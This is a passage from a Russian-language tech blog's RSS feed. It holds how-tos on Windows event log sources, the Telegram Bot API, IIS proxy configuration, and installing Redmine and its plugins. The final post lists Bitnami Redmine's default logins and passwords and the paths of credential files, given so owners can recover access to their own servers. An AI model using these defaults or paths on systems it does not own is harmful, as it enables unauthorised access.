<p>Microsoft убрала из PowerShell 7 все командлеты <code>*-EventLog</code>. Вызовите класс .NET напрямую или Windows PowerShell 5.1, который входит в Windows:</p>
<pre><code class="language-powershell"># API .NET, в PowerShell 7 на Windows, от имени администратора
[System.Diagnostics.EventLog]::CreateEventSource(&quot;TestApi&quot;, &quot;Application&quot;)
[System.Diagnostics.EventLog]::WriteEntry(
    &quot;TestApi&quot;, &quot;TestApi started&quot;, &quot;Information&quot;, 1000)

# Или старая команда через Windows PowerShell
powershell.exe -NoProfile -Command `
    &quot;New-EventLog -LogName Application -Source TestApi&quot;
</code></pre>
<p>Microsoft предлагает на замену <code>New-WinEvent</code>, но он пишет события для ETW-провайдеров с манифестом, а не для классического источника вроде <code>TestApi</code>.</p>
<h2>Без PowerShell: eventcreate</h2>
<p>Команда <code>eventcreate</code> в cmd записывает событие и регистрирует источник, если его ещё нет. Пишет она только от имени источников, которые зарегистрировала сама: с <code>TestApi</code> из <code>New-EventLog</code> выше она падает с ошибкой <code>ERROR: Source parameter is used to identify custom applications/scripts only (not installed applications).</code> Дайте ей своё имя:</p>
<pre><code class="language-bat">eventcreate /L APPLICATION /SO TestApiCmd /T INFORMATION /ID 1 ^
    /D &quot;TestApiCmd registered&quot;
</code></pre>
<p>Она пишет только в журналы Application и System, а код события должен быть от 1 до 1000.</p>
<h2>Удалить источник</h2>
<pre><code class="language-powershell"># Windows PowerShell 5.1
Remove-EventLog -Source &quot;TestApi&quot;

# PowerShell 7
[System.Diagnostics.EventLog]::DeleteEventSource(&quot;TestApi&quot;)
</code></pre>
<h2>Правила для имён источников</h2>
<ul>
<li>Имя уникально на компьютере и не совпадает с названием журнала.</li>
<li>Источник пишет в один журнал. Если перенести его в другой журнал, изменение заработает после перезагрузки.</li>
<li>Регистрируйте источник при установке приложения, а не перед первой записью. Пока Windows не обновит список источников, запись с новым источником не проходит.</li>
<li>Если в <code>-LogName</code> указать несуществующий журнал, <code>New-EventLog</code> создаст его. Журнал появится после первой записи, а первые восемь символов его имени должны отличаться от всех остальных журналов.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Команды Telegram-бота: BotFather, setMyCommands и вебхук</title>
      <link>https://koz.tv/ru/posts/poleznye-komandy-dlya-telegram-botov/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/poleznye-komandy-dlya-telegram-botov/</guid>
      <pubDate>Tue, 28 Mar 2017 00:00:00 GMT</pubDate>
      <description>Как задать меню команд Telegram-бота в BotFather или через setMyCommands, правила для имён команд, команды BotFather и адреса Bot API для токена и вебхука.</description>
      <content:encoded><![CDATA[<p>Команды, которые пользователь видит, когда набирает <code>/</code> в чате с ботом, задаются в <a href="https://t.me/BotFather" target="_blank" rel="noopener">@BotFather</a>. Отправьте ему <code>/setcommands</code>, выберите бота и пришлите список — по команде на строку, без слэша:</p>
<pre><code class="language-text">start - Запустить бота
help - Что умеет бот
settings - Настройки
</code></pre>
<p>Правила из Bot API:</p>
<ul>
<li>команда — от 1 до 32 символов: строчные латинские буквы, цифры и подчёркивание;</li>
<li>описание — от 1 до 256 символов;</li>
<li>в списке до 100 команд.</li>
</ul>
<p>Telegram просит каждого бота поддерживать <code>/start</code>, <code>/help</code> и, если у бота есть настройки, <code>/settings</code>. Когда пользователь впервые открывает чат с ботом, он видит кнопку «Старт».</p>
<p>Меню — только подсказка. В сообщении может прийти любая команда, в том числе та, которой нет в списке, а какой список видел пользователь, бот не узнает. Проверяйте команды и права на своём сервере. В группе с несколькими ботами добавляйте к команде имя бота, <code>/help@my_bot</code>, чтобы она дошла до нужного.</p>
<h2>Команды через API: setMyCommands</h2>
<pre><code class="language-bash">TOKEN=&quot;123456789:AA...&quot;

curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Запустить бота&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;Что умеет бот&quot;}
      ]}&#39;
</code></pre>
<p>В ответ придёт <code>{&quot;ok&quot;:true,&quot;result&quot;:true}</code>. <code>getMyCommands</code> возвращает текущий список, <code>deleteMyCommands</code> удаляет его.</p>
<p><code>language_code</code> и <code>scope</code> показывают разным пользователям разные списки:</p>
<pre><code class="language-bash"># Меню для тех, у кого Telegram на английском
curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;language_code&quot;: &quot;en&quot;, &quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Start the bot&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;What the bot can do&quot;}
      ]}&#39;

# Меню для администраторов всех групп: start и help повторить
curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;scope&quot;: {&quot;type&quot;: &quot;all_chat_administrators&quot;}, &quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Запустить бота&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;Что умеет бот&quot;},
        {&quot;command&quot;: &quot;ban&quot;, &quot;description&quot;: &quot;Забанить пользователя&quot;}
      ]}&#39;
</code></pre>
<p>Типы <code>scope</code>: <code>default</code>, <code>all_private_chats</code>, <code>all_group_chats</code>, <code>all_chat_administrators</code>, <code>chat</code>, <code>chat_administrators</code>, <code>chat_member</code>. Каждый пользователь видит один список, списки не складываются: список для <code>scope</code> или языка заменяет всё меню. Telegram выбирает список самого узкого <code>scope</code>, для которого он задан: сначала на языке пользователя, потом без языка, а если ничего нет — <code>default</code>. В <code>getMyCommands</code> и <code>deleteMyCommands</code> передавайте те же <code>scope</code> и <code>language_code</code>.</p>
<h2>Команды BotFather</h2>
<table>
<thead>
<tr>
<th>Команда</th>
<th>Что делает</th>
</tr>
</thead>
<tbody><tr>
<td><code>/newbot</code></td>
<td>создать бота и получить токен</td>
</tr>
<tr>
<td><code>/mybots</code></td>
<td>список ваших ботов с кнопками для настройки</td>
</tr>
<tr>
<td><code>/setname</code></td>
<td>поменять имя бота</td>
</tr>
<tr>
<td><code>/setdescription</code></td>
<td>текст «Что умеет этот бот?», до 512 символов</td>
</tr>
<tr>
<td><code>/setabouttext</code></td>
<td>текст в профиле бота, до 120 символов</td>
</tr>
<tr>
<td><code>/setuserpic</code></td>
<td>аватарка</td>
</tr>
<tr>
<td><code>/setcommands</code></td>
<td>меню команд</td>
</tr>
<tr>
<td><code>/setjoingroups</code></td>
<td>разрешить или запретить добавлять бота в группы</td>
</tr>
<tr>
<td><code>/setprivacy</code></td>
<td>режим приватности: какие сообщения из групп получает бот</td>
</tr>
<tr>
<td><code>/setinline</code></td>
<td>инлайн-режим</td>
</tr>
<tr>
<td><code>/token</code></td>
<td>новый токен, если старый утёк</td>
</tr>
<tr>
<td><code>/deletebot</code></td>
<td>удалить бота, отменить нельзя</td>
</tr>
</tbody></table>
<p>BotFather со временем получает новые команды. Чтобы увидеть актуальный список, наберите <code>/</code> в чате с ним.</p>
<h2>Адреса Bot API: токен и вебхук</h2>
<p>Каждый метод доступен по адресу <code>https://api.telegram.org/bot&lt;токен&gt;/МЕТОД</code>, через GET или POST:</p>
<pre><code class="language-bash"># Проверить токен: вернёт id, имя и username бота
curl -s &quot;https://api.telegram.org/bot$TOKEN/getMe&quot;

# Поставить вебхук: Telegram будет слать обновления на этот HTTPS-адрес
curl -s &quot;https://api.telegram.org/bot$TOKEN/setWebhook&quot; \
  -d url=https://example.com/telegram/webhook \
  -d secret_token=my-secret-123

# Состояние вебхука: url, pending_update_count, last_error_message
curl -s &quot;https://api.telegram.org/bot$TOKEN/getWebhookInfo&quot;

# Снять вебхук и выбросить накопившиеся обновления
curl -s &quot;https://api.telegram.org/bot$TOKEN/deleteWebhook&quot; \
  -d drop_pending_updates=true
</code></pre>
<ul>
<li>Вебхук работает на портах 443, 80, 88 и 8443, всегда по HTTPS, даже на 80-м.</li>
<li>С <code>secret_token</code> каждый запрос от Telegram приходит с заголовком <code>X-Telegram-Bot-Api-Secret-Token</code> и этим значением. Сверяйте его и отбрасывайте запросы не от Telegram.</li>
<li>Если сервер ответил не 2XX, Telegram повторит запрос и через несколько попыток сдастся.</li>
<li>Пока стоит вебхук, <code>getUpdates</code> не работает: <code>Conflict: can&#39;t use getUpdates method while webhook is active; use deleteWebhook to delete the webhook first</code>. Чтобы перейти на опрос, вызовите <code>deleteWebhook</code>.</li>
</ul>
<p>Токен в адресе попадает в историю терминала и логи сервера. Если он утёк, получите новый командой <code>/token</code> в BotFather.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Настройка прокси для IIS-приложений через web.config</title>
      <link>https://koz.tv/ru/posts/nastroyka-proksi-dlya-iis-prilozheniy-cherez-web-config/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nastroyka-proksi-dlya-iis-prilozheniy-cherez-web-config/</guid>
      <pubDate>Mon, 27 Mar 2017 00:00:00 GMT</pubDate>
      <description>Как пустить исходящие запросы IIS-приложения через прокси секцией defaultProxy в web.config: исключения, учётные данные, проверка и что делать в ASP.NET Core.</description>
      <content:encoded><![CDATA[<p>Для ASP.NET-приложения на .NET Framework добавьте в web.config секцию <code>system.net</code> внутри <code>&lt;configuration&gt;</code>:</p>
<pre><code class="language-xml">&lt;configuration&gt;
  &lt;system.net&gt;
    &lt;defaultProxy&gt;
      &lt;proxy proxyaddress=&quot;http://192.168.0.1:8080&quot; bypassonlocal=&quot;true&quot; /&gt;
    &lt;/defaultProxy&gt;
  &lt;/system.net&gt;
&lt;/configuration&gt;
</code></pre>
<p>Теперь исходящие запросы приложения (<code>HttpWebRequest</code>, <code>WebClient</code> и <code>HttpClient</code> на .NET Framework) идут через 192.168.0.1:8080. ASP.NET перезапускает приложение, когда меняется web.config, больше ничего делать не нужно.</p>
<p>ASP.NET Core эту секцию не читает, про него в конце.</p>
<h2>Атрибуты</h2>
<ul>
<li><code>proxyaddress</code> — адрес прокси полным URI со схемой: <code>http://host:port</code>.</li>
<li><code>bypassonlocal=&quot;true&quot;</code> — запросы к localhost, 127.0.0.1 и к именам без точки (<code>http://webserver</code>) идут мимо прокси.</li>
<li><code>usesystemdefault=&quot;true&quot;</code> — взять системные настройки прокси из «Свойств браузера», а заданные атрибуты их перекроют. Эти настройки свои у каждого пользователя Windows, а у учётной записи пула приложений их обычно нет, поэтому на IIS указывайте <code>proxyaddress</code> явно.</li>
<li><code>useDefaultCredentials=&quot;true&quot;</code> у <code>defaultProxy</code> — если прокси требует Windows-аутентификацию, приложение войдёт под учётной записью пула. У <code>ApplicationPoolIdentity</code> в сети это учётная запись компьютера.</li>
<li><code>enabled=&quot;false&quot;</code> у <code>defaultProxy</code> — не использовать прокси в этом приложении.</li>
<li><code>&lt;bypasslist&gt;</code> — регулярные выражения для адресов, которые идут мимо прокси.</li>
</ul>
<p>Всё вместе:</p>
<pre><code class="language-xml">&lt;configuration&gt;
  &lt;system.net&gt;
    &lt;defaultProxy enabled=&quot;true&quot; useDefaultCredentials=&quot;true&quot;&gt;
      &lt;proxy proxyaddress=&quot;http://proxy.corp.local:8080&quot;
             bypassonlocal=&quot;true&quot;
             usesystemdefault=&quot;false&quot; /&gt;
      &lt;bypasslist&gt;
        &lt;!-- Регулярное выражение: все хосты в corp.local, на любом порту --&gt;
        &lt;add address=&quot;[a-z0-9-]+\.corp\.local(:\d+)?$&quot; /&gt;
      &lt;/bypasslist&gt;
    &lt;/defaultProxy&gt;
  &lt;/system.net&gt;
&lt;/configuration&gt;
</code></pre>
<p>Та же секция в <code>%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config</code> действует на все 64-битные приложения .NET Framework 4.x на сервере. 32-битные пулы читают папку <code>Framework</code> вместо <code>Framework64</code>.</p>
<h2>Проверить, что запросы идут через прокси</h2>
<p>С сервера проверьте, что прокси вообще выпускает наружу. <code>curl.exe</code> есть в Windows 10 1803, Windows Server 2019 и новее:</p>
<pre><code class="language-bat">curl.exe -I -x http://192.168.0.1:8080 https://example.com
</code></pre>
<p>Внутри приложения спросите у .NET, какой прокси он возьмёт для адреса:</p>
<pre><code class="language-csharp">var target = new Uri(&quot;https://example.com/&quot;);
var proxy = WebRequest.DefaultWebProxy.GetProxy(target);
// proxy == target: запрос пойдёт напрямую, без прокси
</code></pre>
<h2>ASP.NET Core под IIS</h2>
<p>.NET Core и .NET 5+ не читают <code>system.net</code> из web.config. <code>HttpClient</code> берёт прокси из переменных окружения <code>HTTP_PROXY</code>, <code>HTTPS_PROXY</code>, <code>ALL_PROXY</code> и <code>NO_PROXY</code>, а на Windows, если их нет, — из настроек прокси пользователя. Переменные можно задать в секции <code>aspNetCore</code> того же web.config:</p>
<pre><code class="language-xml">&lt;aspNetCore processPath=&quot;dotnet&quot; arguments=&quot;.\MyApp.dll&quot;
            hostingModel=&quot;inprocess&quot;&gt;
  &lt;environmentVariables&gt;
    &lt;environmentVariable name=&quot;HTTP_PROXY&quot; value=&quot;http://192.168.0.1:8080&quot; /&gt;
    &lt;environmentVariable name=&quot;HTTPS_PROXY&quot; value=&quot;http://192.168.0.1:8080&quot; /&gt;
    &lt;environmentVariable name=&quot;NO_PROXY&quot; value=&quot;localhost,.corp.local&quot; /&gt;
  &lt;/environmentVariables&gt;
&lt;/aspNetCore&gt;
</code></pre>
<p><code>NO_PROXY</code> — список через запятую, без звёздочек. <code>.corp.local</code> с точкой в начале совпадает с <code>corp.local</code> и всеми его поддоменами, <code>corp.local</code> без точки — только с этим хостом.</p>
<p>Или задайте прокси в коде при старте, до первого запроса:</p>
<pre><code class="language-csharp">HttpClient.DefaultProxy = new WebProxy(&quot;http://192.168.0.1:8080&quot;, true);
</code></pre>
<p>Второй аргумент — <code>BypassOnLocal</code>, как <code>bypassonlocal</code> в конфиге.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Как установить плагин в Redmine (Bitnami, Docker)</title>
      <link>https://koz.tv/ru/posts/poleznye-plaginy-redmine-i-ih-ustanovka-v-bitnami-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/poleznye-plaginy-redmine-i-ih-ustanovka-v-bitnami-redmine/</guid>
      <pubDate>Mon, 23 Jan 2017 00:00:00 GMT</pubDate>
      <description>Как установить плагин Redmine: папка plugins, bundle install, миграция, перезапуск. Удаление, Bitnami, Docker и плагины, которые работают в Redmine 6.1 и 7.0.</description>
      <content:encoded><![CDATA[<p>Чтобы установить плагин в Redmine, положите его в <code>plugins/&lt;ID плагина&gt;</code>, запустите <code>bundle install</code> и миграции плагина, затем перезапустите Redmine. Пример с View Customize — выполните в папке Redmine, где лежит <code>config/database.yml</code>:</p>
<pre><code class="language-bash">cd /path/to/redmine
git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
</code></pre>
<p>Потом перезапустите Redmine: под Passenger хватит <code>touch tmp/restart.txt</code>, на сервере Bitnami — <code>sudo /opt/bitnami/ctlscript.sh restart</code>, в Docker — <code>docker compose restart redmine</code>. Иначе перезапустите сервер приложений, например Puma. Плагин появится в разделе «Администрирование → Модули».</p>
<p>Я проверил это на Redmine 7.0.3, 6.1.6 и 5.1.12 в официальном Docker-образе и на образе Bitnami с Redmine 6.0.6.</p>
<h2>Что делает каждая команда</h2>
<ul>
<li><strong>Папка</strong> в <code>plugins/</code> называется по ID плагина, а не по имени репозитория. Правильную команду <code>git clone</code> обычно дают в README.</li>
<li><strong><code>bundle install</code></strong> ставит гемы плагина. Без него Redmine не запустится: <code>Could not find gem &#39;write_xlsx&#39; in locally installed gems</code>.</li>
<li><strong><code>redmine:plugins:migrate</code></strong> создаёт таблицы плагина. Перед миграцией сделайте бэкап базы. Если её пропустить, страницы отдают ошибку 500: <code>relation &quot;view_customizes&quot; does not exist</code>.</li>
<li><strong>Перезапуск</strong> подключает плагин: Redmine читает плагины только при старте.</li>
</ul>
<p>Проверить из консоли:</p>
<pre><code class="language-bash">bundle exec bin/about
</code></pre>
<p>Плагин будет в списке <code>Redmine plugins:</code>.</p>
<h2>Имя папки должно совпадать с ID плагина</h2>
<p>ID записан в <code>init.rb</code>: <code>Redmine::Plugin.register :view_customize</code>. Обычный <code>git clone</code> этого репозитория создаст папку <code>redmine-view-customize</code>, а ZIP-архив с GitHub распакуется в <code>redmine_drawio-master</code>. С такой папкой Redmine не запустится:</p>
<pre><code class="language-text">Redmine::PluginNotFound: Plugin not found. The directory for plugin view_customize should be /usr/src/redmine/plugins/view_customize.
</code></pre>
<p>Переименуйте папку и повторите шаги.</p>
<h2>Как удалить плагин Redmine</h2>
<pre><code class="language-bash">cd /path/to/redmine
bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0 RAILS_ENV=production
rm -rf plugins/view_customize
</code></pre>
<p>Затем перезапустите Redmine. <code>VERSION=0</code> откатывает все миграции плагина и удаляет его таблицы вместе с данными, поэтому сначала сделайте бэкап. Соблюдайте порядок: если папку уже удалили, задача остановится с <code>Plugin view_customize was not found</code>, а таблицы останутся в базе.</p>
<h2>Как установить плагин в Bitnami Redmine</h2>
<p>В виртуальных машинах и облачных образах Bitnami Redmine лежит в <code>/opt/bitnami/redmine</code>. В <a href="https://docs.bitnami.com/virtual-machine/apps/redmine/configuration/install-plugins/" target="_blank" rel="noopener">инструкции Bitnami</a> те же шаги:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine/plugins
git clone https://github.com/onozaty/redmine-view-customize.git view_customize
cd ..
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
sudo /opt/bitnami/ctlscript.sh restart
</code></pre>
<p>В старых стеках с Redmine 3.x, как у меня в 2017 году, Redmine лежит в <code>/opt/bitnami/apps/redmine/htdocs</code>. Выполните те же команды там и перезапустите Apache: <code>sudo /opt/bitnami/ctlscript.sh restart apache</code>. У моего инсталлятора <code>ctlscript.sh</code> был в <code>/opt/redmine-3.3.2-2</code>.</p>
<p>Чтобы открыть «Администрирование → Модули», войдите под <code>user</code>: так в Bitnami называется администратор (<a href="https://koz.tv/ru/posts/sbros-parolya-i-vydacha-prav-administratora-dlya-akkaunta-re/">если забыли пароль</a>).</p>
<p>Bundler в Bitnami работает в режиме deployment. Если плагин добавляет гемы, <code>bundle install</code> падает с ошибкой <code>the lockfile can&#39;t be updated because frozen mode is set</code>. Снимите заморозку и повторите <code>bundle install</code>:</p>
<pre><code class="language-bash">bundle config set --local frozen false
bundle install
</code></pre>
<p>Если гем не собирается с ошибкой <code>make failedNo such file or directory - make</code> или <code>extconf.rb failed</code>, поставьте компилятор и заголовки zlib и снова запустите <code>bundle install</code>:</p>
<pre><code class="language-bash">sudo apt-get install build-essential zlib1g-dev
</code></pre>
<p>Флаг <code>--no-deployment</code> из инструкции Bitnami в Bundler 2.6 устарел: ошибка про frozen остаётся, а из <code>.bundle/config</code> пропадает путь <code>vendor/bundle</code>. После этого <code>deployment false</code> ставит все гемы заново, а <code>frozen false</code> по-прежнему работает.</p>
<h3>Docker-образ Bitnami</h3>
<p>Плагины лежат на томе в <code>/bitnami/redmine/plugins</code>, и при каждом старте контейнер прогоняет их миграции. А вот гемы на томе не сохраняются. Когда я пересоздал контейнер, он упал на шаге «Executing database migrations» с той же ошибкой про frozen lockfile. Её видно только с <code>BITNAMI_DEBUG=true</code>. Компилятора в образе тоже нет.</p>
<h3>Bitnami сворачивает бесплатные образы</h3>
<p>Бесплатные образы Bitnami, в том числе на AWS, больше не обновляются. Что случилось и как уйти с Bitnami — в посте <a href="https://koz.tv/ru/posts/ustanovka-i-nastroyka-bitnami-redmine/">Установка Bitnami Redmine в 2026</a>. Новый сервер поднимайте на официальном образе <code>redmine</code>, плагины с гемами ставьте туда же.</p>
<h2>Как установить плагин в Docker</h2>
<p>При каждом старте официальный образ ставит недостающие гемы (<code>bundle check || bundle install</code>), а если задана <code>REDMINE_PLUGINS_MIGRATE</code>, ещё и прогоняет миграции плагинов. В <code>compose.yaml</code>:</p>
<pre><code class="language-yaml">services:
  redmine:
    build: .
    environment:
      # плюс ваши настройки REDMINE_DB_*
      SECRET_KEY_BASE: &quot;a-long-random-string&quot;
      REDMINE_PLUGINS_MIGRATE: &quot;1&quot;
    volumes:
      - ./plugins:/usr/src/redmine/plugins
</code></pre>
<p>В стандартном образе нет компилятора. Если гемам плагина он нужен, контейнер падает при старте с ошибкой вроде <code>make failedNo such file or directory - make</code> или <code>extconf.rb failed</code>. Поэтому рядом с <code>compose.yaml</code> кладём <code>Dockerfile</code>:</p>
<pre><code class="language-dockerfile">FROM redmine:7.0
RUN apt-get update \
 &amp;&amp; apt-get install -y --no-install-recommends build-essential \
 &amp;&amp; rm -rf /var/lib/apt/lists/*
</code></pre>
<pre><code class="language-bash">git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
# первый запуск; дальше: docker compose restart redmine
docker compose up -d --build
docker compose exec redmine bundle exec bin/about
</code></pre>
<p>Последнюю команду запускайте, когда в <code>docker compose logs redmine</code> появится <code>Listening on</code>. Плагин будет в списке <code>Redmine plugins:</code>.</p>
<p>Удаление:</p>
<pre><code class="language-bash">docker compose exec redmine bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0
rm -rf plugins/view_customize
docker compose restart redmine
</code></pre>
<p>Ключ задавайте в <code>SECRET_KEY_BASE</code>, а не в <code>REDMINE_SECRET_KEY_BASE</code>. Из второй переменной entrypoint передаёт ключ только серверу, и <code>docker compose exec</code> падает с <code>Missing `secret_key_base` </code>. При пересоздании контейнера гемы плагинов ставятся заново, так что на этом старте нужен интернет.</p>
<h2>Совместимость с Redmine 6 и 7</h2>
<p><a href="https://www.redmine.org/projects/redmine/wiki/Download" target="_blank" rel="noopener">Сейчас поддерживаются</a> три ветки: 7.0 (Rails 8.1), 6.1 (Rails 7.2, исправления ошибок и безопасности) и 6.0 (Rails 7.2, только исправления безопасности). Ветки 5.x больше не поддерживаются. Плагины ломаются на мажорных обновлениях. В 6.0 появились Rails 7.2, Propshaft для статики и SVG-иконки. В 7.0 — Rails 8.1, а старые CSS-классы <code>icon-*</code> удалили.</p>
<p><code>requires_redmine</code> в <code>init.rb</code> задаёт только минимальную версию. Плагин redmine_banner заброшен с 2020 года и заявляет совместимость с 4.0 и выше, но на 7.0.3 Redmine с ним не запускается: <code>LoadError: cannot load such file -- banners/application_hooks</code>. Один сломанный плагин роняет весь Redmine: удалите его папку и перезапустите. Если плагину нужна версия новее, он скажет сам: <code>additionals plugin requires Redmine 7.0 or higher but current is 6.1.6.stable</code>.</p>
<p>Перед установкой посмотрите дату последнего коммита и требования в README. <a href="https://www.redmine.org/plugins?page=1&v=7.0" target="_blank" rel="noopener">Каталог плагинов</a> фильтрует по версии, но совместимость там отмечают сами авторы: с 7.0 заявлено 149 плагинов из 1370.</p>
<h2>Полезные плагины для Redmine 6.1 и 7.0</h2>
<p>Каждый я поставил на 6.1.6 и 7.0.3: гемы установились, миграции прошли, Redmine запустился. Additionals проверял только на 7.0.3. В скобках — имя папки.</p>
<ul>
<li><a href="https://github.com/onozaty/redmine-view-customize" target="_blank" rel="noopener">View Customize</a> 3.6.0 (<code>view_customize</code>): свой JavaScript, CSS или HTML на выбранных страницах.</li>
<li><a href="https://github.com/alphanodes/additionals" target="_blank" rel="noopener">Additionals</a> 4.6.0 (<code>additionals</code>): дашборды, вики-макросы, правила для задач. Ветка <code>stable</code>, для 6.1 — тег <code>4.5.0</code>. С SQLite не работает.</li>
<li><a href="https://github.com/agileware-jp/redmine_issue_templates" target="_blank" rel="noopener">Issue Templates</a> 1.2.3 (<code>redmine_issue_templates</code>): шаблоны задач для каждого проекта.</li>
<li><a href="https://github.com/mikitex70/redmine_drawio" target="_blank" rel="noopener">Drawio</a> 1.5.6 (<code>redmine_drawio</code>): диаграммы draw.io в вики и задачах.</li>
<li><a href="https://github.com/haru/redmine_wiki_extensions" target="_blank" rel="noopener">Wiki Extensions</a> 1.3.0 (<code>redmine_wiki_extensions</code>): вики-макросы, комментарии, теги.</li>
<li><a href="https://github.com/two-pack/redmine_xlsx_format_issue_exporter" target="_blank" rel="noopener">XLSX format issue exporter</a> 0.3.0 (<code>redmine_xlsx_format_issue_exporter</code>): выгрузка списка задач в Excel. В Docker нужен компилятор.</li>
<li><a href="https://github.com/kontron/redmine_oauth" target="_blank" rel="noopener">Redmine OAuth</a> 4.2.3 (<code>redmine_oauth</code>): вход через Google, GitHub, GitLab, Azure AD, Okta, Keycloak или OpenID Connect. На 6.1 в Docker нужен компилятор.</li>
<li><a href="https://github.com/jgraichen/redmine_dashboard" target="_blank" rel="noopener">Redmine Dashboard</a> (<code>redmine_dashboard</code>): доски задач и планирования. Клонируйте ветку <code>main</code>: релиз 2.16.0 вышел раньше Redmine 7.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Установка Bitnami Redmine в 2026: Docker, AWS и VM</title>
      <link>https://koz.tv/ru/posts/ustanovka-i-nastroyka-bitnami-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/ustanovka-i-nastroyka-bitnami-redmine/</guid>
      <pubDate>Tue, 13 Dec 2016 00:00:00 GMT</pubDate>
      <description>Бесплатного Bitnami Redmine нет ни на Docker Hub, ни в AWS, ни в виде VM. Ставим Redmine 7 из официального Docker-образа, ищем пароль Bitnami, переносим данные.</description>
      <content:encoded><![CDATA[<p>Бесплатный Redmine от Bitnami закончился. Ставьте Redmine из официального Docker-образа <code>redmine</code> с PostgreSQL. Сохраните в пустую папку файл <code>compose.yaml</code>:</p>
<pre><code class="language-yaml">services:
  db:
    image: postgres:18
    restart: unless-stopped
    environment:
      POSTGRES_USER: redmine
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: redmine
    volumes:
      - pgdata:/var/lib/postgresql
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -h 127.0.0.1 -U redmine -d redmine&quot;]
      interval: 5s
      retries: 10

  redmine:
    image: redmine:7.0
    restart: unless-stopped
    depends_on:
      db:
        condition: service_healthy
    ports:
      - &quot;8080:3000&quot;
    environment:
      REDMINE_DB_POSTGRES: db
      REDMINE_DB_USERNAME: redmine
      REDMINE_DB_PASSWORD: ${DB_PASSWORD}
      REDMINE_DB_DATABASE: redmine
      SECRET_KEY_BASE: ${SECRET_KEY_BASE}
    volumes:
      - files:/usr/src/redmine/files

volumes:
  pgdata:
  files:
</code></pre>
<p>Сгенерируйте пароли и запустите:</p>
<pre><code class="language-bash">printf &#39;DB_PASSWORD=%s\nSECRET_KEY_BASE=%s\n&#39; &quot;$(openssl rand -hex 16)&quot; &quot;$(openssl rand -hex 64)&quot; &gt; .env
docker compose up -d
</code></pre>
<p>Когда в <code>docker compose logs redmine</code> появится <code>Listening on http://0.0.0.0:3000</code>, откройте <code>http://ваш-сервер:8080</code> и войдите как <strong>admin / admin</strong>. Redmine сразу попросит сменить пароль. Я проверял этот файл на Redmine 7.0.3 и PostgreSQL 18.6.</p>
<h2>Что стало с Bitnami Redmine</h2>
<p>На ноябрь 2026 года:</p>
<ul>
<li>У <a href="https://hub.docker.com/r/bitnami/redmine" target="_blank" rel="noopener">bitnami/redmine</a> на Docker Hub не осталось публичных тегов: образ доступен только по платной подписке Bitnami Secure Images. В бесплатном наборе <code>bitnamisecure</code> Redmine нет.</li>
<li><a href="https://hub.docker.com/r/bitnamilegacy/redmine" target="_blank" rel="noopener">bitnamilegacy/redmine</a> — замороженная копия. Последний тег <code>6.0.6-debian-12-r7</code> от 22 августа 2025 года. Обновлений и поддержки не будет (<a href="https://github.com/bitnami/containers/issues/83267" target="_blank" rel="noopener">объявление</a>), а на странице в Docker Hub Bitnami предупреждает, что репозиторий могут удалить.</li>
<li>AWS: образы Bitnami и шаблоны Lightsail убрали 10 июня 2026 года (<a href="https://community.broadcom.com/tanzu/blogs/beltran-rueda-borrego/2026/05/20/important-update-transitioning-bitnami-offerings-o" target="_blank" rel="noopener">Broadcom</a>). Запущенные серверы работают, но обновлений не получают. Страница в AWS Marketplace отвечает «Page not found».</li>
<li>VM и установщики: с июня 2025 года виртуалки Bitnami (OVA) скачивают только клиенты VMware (<a href="https://github.com/bitnami/vms/issues/1831" target="_blank" rel="noopener">bitnami/vms#1831</a>), а страницы Redmine на bitnami.com перекидывают на главную Bitnami Secure Images. Установщики для Windows, macOS и Linux закрыли <a href="https://blog.bitnami.com/2022/11/focusing-on-cloud-native-solutions.html" target="_blank" rel="noopener">в ноябре 2022 года</a>.</li>
</ul>
<p>Ваш сервер на Bitnami продолжит работать, но без заплаток. А сам Redmine уже дошёл до версий 7.0.3, 6.1.6 и 6.0.12 (<a href="https://www.redmine.org/projects/redmine/wiki/Download" target="_blank" rel="noopener">загрузки</a>).</p>
<h2>Логин и пароль Bitnami Redmine по умолчанию</h2>
<p>Логин — <code>user</code>, а не <code>admin</code>. Где взять пароль:</p>
<ul>
<li>VM или сервер EC2: <code>sudo cat /home/bitnami/bitnami_credentials</code>. На EC2 пароль ещё первые сутки виден в системном логе инстанса.</li>
<li>Lightsail: <code>cat ~/bitnami_application_password</code>.</li>
<li>Docker-образ <code>bitnamilegacy/redmine</code>: <code>bitnami1</code>, если при первом запуске не задали <code>REDMINE_PASSWORD</code>.</li>
<li>MariaDB на VM от Bitnami: пользователь <code>root</code>, пароль тот же, что у приложения.</li>
</ul>
<p>Забыли пароль? <a href="https://koz.tv/ru/posts/sbros-parolya-i-vydacha-prav-administratora-dlya-akkaunta-re/">Сбросьте его одной командой</a>.</p>
